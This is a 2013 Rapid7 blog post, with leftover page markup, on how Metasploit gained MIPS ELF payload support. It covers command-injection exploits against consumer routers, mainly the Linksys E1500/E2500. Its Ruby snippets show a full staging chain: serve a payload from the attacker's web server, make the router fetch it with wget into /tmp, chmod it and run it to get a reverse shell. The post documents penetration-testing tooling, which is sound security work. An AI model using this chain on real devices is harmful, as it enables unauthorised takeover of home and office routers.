Compromising Embedded Linux Routers with Metasploit

2013-04-05T15:40:23
ID RAPID7COMMUNITY:93BF57A4DFFD37CD73918E425CAA5C2D
Type rapid7community
Reporter juan.vazquez
Modified 2013-04-05T15:40:23

Description

<!-- [DocumentBodyStart:098c1aeb-d3f6-416f-bb81-c15565425c62] --><div class="jive-rendered-content"><p>Normally we don't get a lot of contributions regarding embedded devices. Even when they are an interesting target from the pentesting point of view, and is usual to find them out of DMZ zones on corporate networks. <span style="font-size: 10pt; line-height: 1.5em;">Maybe it's because access to these devices or the software running in top of them is not so easy. Maybe because usually they are based on MIPS architectures which hasn't get so much attention as x86 or ARM architectures. Or maybe because it's not so easy always to run the their software in a  controlled (debugged) fashion. </span></p><p><span style="font-size: 10pt; line-height: 1.5em;"><br/></span></p><p><a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-6124-2882/Netgear-DGN2200B-WLAN-Router-mit-Modem-Push-n-Connect.jpg"><img alt="Netgear-DGN2200B-WLAN-Router-mit-Modem-Push-n-Connect.jpg" class="jive-image-thumbnail jive-image" height="247" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-6124-2882/379-247/Netgear-DGN2200B-WLAN-Router-mit-Modem-Push-n-Connect.jpg" style="float: right; width: 378.5678391959799px; " width="379"/></a></p><p><span style="font-size: 10pt; line-height: 1.5em;">Fortunately, Michael Messner (aka </span><a class="jive-link-external-small" href="https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Ftwitter.com%2Fs3cur1ty_de" rel="nofollow" style="font-size: 10pt; line-height: 1.5em;" target="_blank">m-1-k-3</a><span style="font-size: 10pt; line-height: 1.5em;">) is the exception, he isn't only doing an awesome work about vulnerability research on small Linux routers, but also doing a great work writing modules targeting these embedded devices in order to fingerprint devices, retrieve configuration files or getting shells. </span>In this blog post we would like to share with all you a successful (spoiling!) trip until a shell which we did with m-1-k-3. The blog post also introduces some of the new improvements of Metasploit in order to speed exploit development on MIPS based devices.</p><p style="min-height: 8pt; padding: 0px;"> </p><p style="min-height: 8pt; padding: 0px;"> </p><p>This story started with m-1-k-3 doing some pull request for auxiliary modules achieving remote OS command execution in MIPS network-related embedded devices through their web interfaces:</p><p style="min-height: 8pt; padding: 0px;"> </p><ul><li><a class="jive-link-external-small" href="https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fgithub.com%2Frapid7%2Fmetasploit-framework%2Fpull%2F1618" rel="nofollow" target="_blank">#1618</a>: Remote command execution on Netgear DGN2200B</li><li><a class="jive-link-external-small" href="https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fgithub.com%2Frapid7%2Fmetasploit-framework%2Fpull%2F1636" rel="nofollow" target="_blank">#1636</a>: Remote command execution on Netgear DGN1000B</li><li><a class="jive-link-external-small" href="https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fgithub.com%2Frapid7%2Fmetasploit-framework%2Fpull%2F1640" rel="nofollow" style="font-size: 10pt; line-height: 1.5em;" target="_blank">#1640</a><span style="font-size: 10pt; line-height: 1.5em;">: Remote command execution on D-Link DIR-615</span></li></ul><p style="min-height: 8pt; padding: 0px;"> </p><p>Unfortunately, after reviewing them and discussing the topic with other Metasploit developers, we asked m-1-k-3 to convert these auxiliary modules into remote exploits. Normally, after getting a way to execute arbitrary OS command it's more or less easy to get a Metasploit session and a working exploit. Exploits are preferred because Metasploit users benefit in two ways:</p><p style="min-height: 8pt; padding: 0px;"> </p><ol><li>They get easy and powerful interaction with the target through a session.</li><li>They benefit from post-exploitation modules.</li></ol><p style="min-height: 8pt; padding: 0px;"> </p><p>Unfortunately, it's usual on embedded devices to have available only a small set of OS commands through a restricted busybox shell and a few more tools. Here is, for example, the set of available commands on a DGN 1000B device:</p><p style="min-height: 8pt; padding: 0px;"> </p><!--[CodeBlockStart:2972fba0-f352-45b9-a190-01e1add0a060][excluded]--><pre class="plain" name="code"> [            br2684ctld    dmesg            igmp          ln          nbtscan      pppd                routed          udhcpd [[          brctl        dnrd            import_ca.cgi  ls          netgear_ntp  pppoe              scfgmgr          umount adslmod      busybox      dsl_cpe_control  init          lsmod      nvram        pppoe-relay        setup.cgi        upgrade_flash.cgi aes-up.sh    cat          dsl_diag        insmod        md5sum      oamd        ps                  setupwizard.cgi  upload.cgi ash          chmod        echo            iptables      mini_httpd  oamlbsearch  rc                  sh              wget athcfg      cmd_agent_ap  ez-ipupdate      iptpat_util    miniupnpd  pb_ap        reboot              sleep            wifi_monitor atmarp      conf          free            kill          mkdir      ping        restore_config.cgi  smtpc            wizard atmarpd      cp            halt            killall        mknod      pot          rm                  syslogd          wpa_supplicant atm_monitor  crond        hostapd          klogd          mount      potcounter  rmmod              test            wpatalk br2684ctl    cut          ifconfig        lld2          mv          poweroff    route              udhcpc          wsc_det

</pre><!--[CodeBlockEnd:2972fba0-f352-45b9-a190-01e1add0a060]--><div style="display:none;"></div><p style="min-height: 8pt; padding: 0px;"> </p><p>After discussing the possibilities with @m-1-k-3 we concluded it wasn't a good idea to write CMD exploits for these devices, because of two points:</p><p style="min-height: 8pt; padding: 0px;"> </p><ol><li>In the best case we would need new payloads which would be device specific.</li><li>Native payloads (and shell sessions) are more powerful than CMD payloads.</li></ol><p style="min-height: 8pt; padding: 0px;"> </p><p>After discarding CMD type exploits, we switched to the possibility of staging from CMD to the execution of a native payload. Since it's usual to have tools such as wget, or alternative ways to download files from remote hosts to the embedded device, it sounded like a good option. In fact, sounded like a perfect solution for us. But there was another pitfall. There wasn't support to create MIPS ELF (nor big endian neither little endian) executables still in Metasploit, So the MIPS payloads couldn't be embedded into executable files programmatically. Fortunately add the support was as easier as:</p><p style="min-height: 8pt; padding: 0px;"> </p><p>1) Create tiny ELF templates for the MIPS architectures (little and big endian). In the case of MIPSLE something like:</p><p style="min-height: 8pt; padding: 0px;"> </p><!--[CodeBlockStart:4829ad53-c99e-43eb-9f21-41a73a8980a9][excluded]--><pre class="plain" name="code"> BITS 32

org 0x00400000

ehdr:                            ; Elf32_Ehdr   db    0x7F, "ELF", 1, 1, 1, 0  ;  e_ident   db    0, 0, 0, 0,  0, 0, 0, 0  ;   dw    2                        ;  e_type      = ET_EXEC for an executable   dw    0x8                      ;  e_machine    = MIPS   dd    1                        ;  e_version   dd    _start                  ;  e_entry   dd    phdr - $$                ;  e_phoff   dd    0                        ;  e_shoff   dd    0                        ;  e_flags   dw    ehdrsize                ;  e_ehsize   dw    phdrsize                ;  e_phentsize   dw    1                        ;  e_phnum   dw    0                        ;  e_shentsize   dw    0                        ;  e_shnum   dw    0                        ;  e_shstrndx

ehdrsize equ  $ - ehdr

phdr:                            ; Elf32_Phdr   dd    1                        ;  p_type      = PT_LOAD   dd    0                        ;  p_offset   dd    $$                      ;  p_vaddr   dd    $$                      ;  p_paddr   dd    0xDEADBEEF              ;  p_filesz   dd    0xDEADBEEF              ;  p_memsz   dd    7                        ;  p_flags      = rwx   dd    0x1000                  ;  p_align

phdrsize equ  $ - phdr

_start:

</pre><!--[CodeBlockEnd:4829ad53-c99e-43eb-9f21-41a73a8980a9]--><div style="display:none;"></div><p style="min-height: 8pt; padding: 0px;"> </p><p>2) Add support to <a class="jive-link-external-small" href="https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fgithub.com%2Frapid7%2Fmetasploit-framework%2Fblob%2Fmaster%2Flib%2Fmsf%2Futil%2Fexe.rb" rel="nofollow" target="_blank">MSF::Util::EXE</a> to have into account the new templates, so MIPS ELF executables could be created through the use of the mixin, by calling the Msf::Util::Exe.to_executable() API. Or also through the <a class="jive-link-external-small" href="https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fgithub.com%2Frapid7%2Fmetasploit-framework%2Fblob%2Fmaster%2Flib%2Fmsf%2Fcore%2Fexploit%2Fexe.rb" rel="nofollow" target="_blank">Msf::Exploit::EXE</a> mixin, by calling its generate_payload_exe() method. If you would like to review, exactly, how the support was added you can check the next pull requests:</p><p style="min-height: 8pt; padding: 0px;"> </p><ul><li><a class="jive-link-external-small" href="https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fgithub.com%2Frapid7%2Fmetasploit-framework%2Fpull%2F1666" rel="nofollow" target="_blank">#1666</a>: Support for MIPSLE ELF.</li><li><a class="jive-link-external-small" href="https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fgithub.com%2Frapid7%2Fmetasploit-framework%2Fpull%2F1671" rel="nofollow" target="_blank">#1671</a>: Support for MIPSBE ELF.</li></ul><p style="min-height: 8pt; padding: 0px;"> </p><p>With the support for MIPS ELF executables available on Msf::Util::EXE it's just a matter of coding to have available these awesome embedded devices exploits. And m-1-k-3 started writing the first of (we hope!) a long serie of embedded devices exploits. In this first module an authenticated os command injection, on the Web Interface of the Linksys E1500/E2500 Wireless routers, is abused. The vulnerability details can be found in the <a class="jive-link-external-small" href="https://community.rapid7.com/external-link.jspa?url=http%3A%2F%2Fwww.s3cur1ty.de%2Fm1adv2013-004" rel="nofollow" target="_blank">original advisory</a>. And the full exploit writing history can be found in the next pull request: "<a class="jive-link-external-small" href="https://community.rapid7.com/external-link.jspa?url=https%3A%2F%2Fgithub.com%2Frapid7%2Fmetasploit-framework%2Fpull%2F1688" rel="nofollow" target="_blank">#1688: Linksys E1500/E2500 Remote Command Execution</a>". As a summary, in order to execute the shell payloads the staging is accomplished by:</p><p style="min-height: 8pt; padding: 0px;"> </p><p>1) Create a MIPS ELF with the payload to execute after include the Msf::Exploit::EXE mixin:</p><p style="min-height: 8pt; padding: 0px;"> </p><!--[CodeBlockStart:3cbb6650-a9f9-4c5c-b60c-c5fe14cad9d0][excluded]--><pre class="ruby" name="code"> @pl = generate_payload_exe

</pre><!--[CodeBlockEnd:3cbb6650-a9f9-4c5c-b60c-c5fe14cad9d0]--><div style="display:none;"></div><p style="min-height: 8pt; padding: 0px;"> </p><p>2) Start a Web Server (or use an external one).</p><p style="min-height: 8pt; padding: 0px;"> </p><!--[CodeBlockStart:8fe3f7e1-1d36-472a-8e3b-66dd4a3a3d6e][excluded]--><pre class="ruby" name="code">

start our server

resource_uri = '/' + downfile

if (datastore['DOWNHOST'])   service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else   #do not use SSL   if datastore['SSL']   ssl_restore = true   datastore['SSL'] = false   end

  #we use SRVHOST as download IP for the coming wget command.   #SRVHOST needs a real IP address of our download host   if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")   srv_host = Rex::Socket.source_address(rhost)   else   srv_host = datastore['SRVHOST']   end

  service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri   print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")   start_service({'Uri' => {   'Proc' => Proc.new { |cli, req|   on_request_uri(cli, req)   },   'Path' => resource_uri   }})

  datastore['SSL'] = true if ssl_restore end

</pre><!--[CodeBlockEnd:8fe3f7e1-1d36-472a-8e3b-66dd4a3a3d6e]--><div style="display:none;"></div><p style="min-height: 8pt; padding: 0px;"> </p><p>3) Use the Web Server to sent the ELF with the embedded payload on new requests:</p><p style="min-height: 8pt; padding: 0px;"> </p><!--[CodeBlockStart:bb5fab13-9821-451d-8f5e-73b109136b5f][excluded]--><pre class="ruby" name="code">

Handle incoming requests from the server

def on_request_uri(cli, request)   #print_status("on_request_uri called: #{request.inspect}")   if (not @pl)   print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")   return   end   print_status("#{rhost}:#{rport} - Sending the payload to the server...")   @elf_sent = true   send_response(cli, @pl) end

</pre><!--[CodeBlockEnd:bb5fab13-9821-451d-8f5e-73b109136b5f]--><div style="display:none;"></div><p style="min-height: 8pt; padding: 0px;"> </p><p>4) Exploit the remote OS command injection to download the MIPS ELF payload with the available wget tool:</p><p><span style="font-size: 10pt; line-height: 1.5em;"><br/></span></p><!--[CodeBlockStart:2bc5635a-028e-42d0-af46-c0a45b9a99c2][excluded]--><pre class="ruby" name="code">

download payload

print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")

this filename is used to store the payload on the device

filename = rand_text_alpha_lower(8)

not working if we send all command together -> lets take three requests

cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" res = request(cmd,user,pass,uri) if (!res)   fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end

</pre><!--[CodeBlockEnd:2bc5635a-028e-42d0-af46-c0a45b9a99c2]--><div style="display:none;"></div><p><span style="font-size: 10pt; line-height: 1.5em;"><br/></span></p><p><span style="font-size: 10pt; line-height: 1.5em;">5) Exploit the remote OS command injection to give execution permissions to the downloaded binary:</span></p><p><span style="font-size: 10pt; line-height: 1.5em;"><br/></span></p><!--[CodeBlockStart:1298a38d-037f-43e2-b281-e49dbd99607a][excluded]--><pre class="ruby" name="code">

chmod

cmd = "chmod 777 /tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") res = request(cmd,user,pass,uri) if (!res)   fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end

</pre><!--[CodeBlockEnd:1298a38d-037f-43e2-b281-e49dbd99607a]--><div style="display:none;"></div><p><span style="font-size: 10pt; line-height: 1.5em;"><br/></span></p><p><span style="font-size: 10pt; line-height: 1.5em;">6) Exploit the remote OS command injection to execute the downloaded binary:</span></p><p><span style="font-size: 10pt; line-height: 1.5em;"><br/></span></p><!--[CodeBlockStart:71b80efc-837f-4125-b6f6-b56c02d35f4a][excluded]--><pre class="ruby" name="code">

execute

cmd = "/tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") res = request(cmd,user,pass,uri) if (!res)   fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end

</pre><!--[CodeBlockEnd:71b80efc-837f-4125-b6f6-b56c02d35f4a]--><div style="display:none;"></div><p><span style="font-size: 10pt; line-height: 1.5em;"><br/></span></p><p><span style="font-size: 10pt; line-height: 1.5em;">7) Enjoy! </span><span style="font-size: 10pt; line-height: 1.5em;">After a long and funny trip now we can enjoy Linksys E1500 shells (thanks m-1-k-3!):</span></p><p><a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-6124-2883/reverse_shell_blog.png"><img alt="reverse_shell_blog.png" class="jive-image-thumbnail jive-image" height="223" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-6124-2883/620-223/reverse_shell_blog.png" style="display: block; margin-left: auto; margin-right: auto;" width="620"/></a></p><p style="text-align: center;"><span style="font-size: 8pt;"><strong>Linksys E1500 reverse shell session (shared by m-1-k-3)</strong></span></p><p style="min-height: 8pt; padding: 0px;"> </p><p><span style="font-family: 'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', sans-serif; background-color: #f5faf0;">Want to try this out for yourself? </span><a class="jive-link-external-small" href="http://www.rapid7.com/downloads/metasploit.jsp" style="font-family: 'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', sans-serif; color: #3778c7; background-color: #f5faf0;">Get your free Metasploit download now</a><span style="font-family: 'Helvetica Neue', Helvetica, Arial, 'Lucida Grande', sans-serif; background-color: #f5faf0;"> or update your existing installation, and let us know if you have any further questions.</span></p></div><!-- [DocumentBodyEnd:098c1aeb-d3f6-416f-bb81-c15565425c62] -->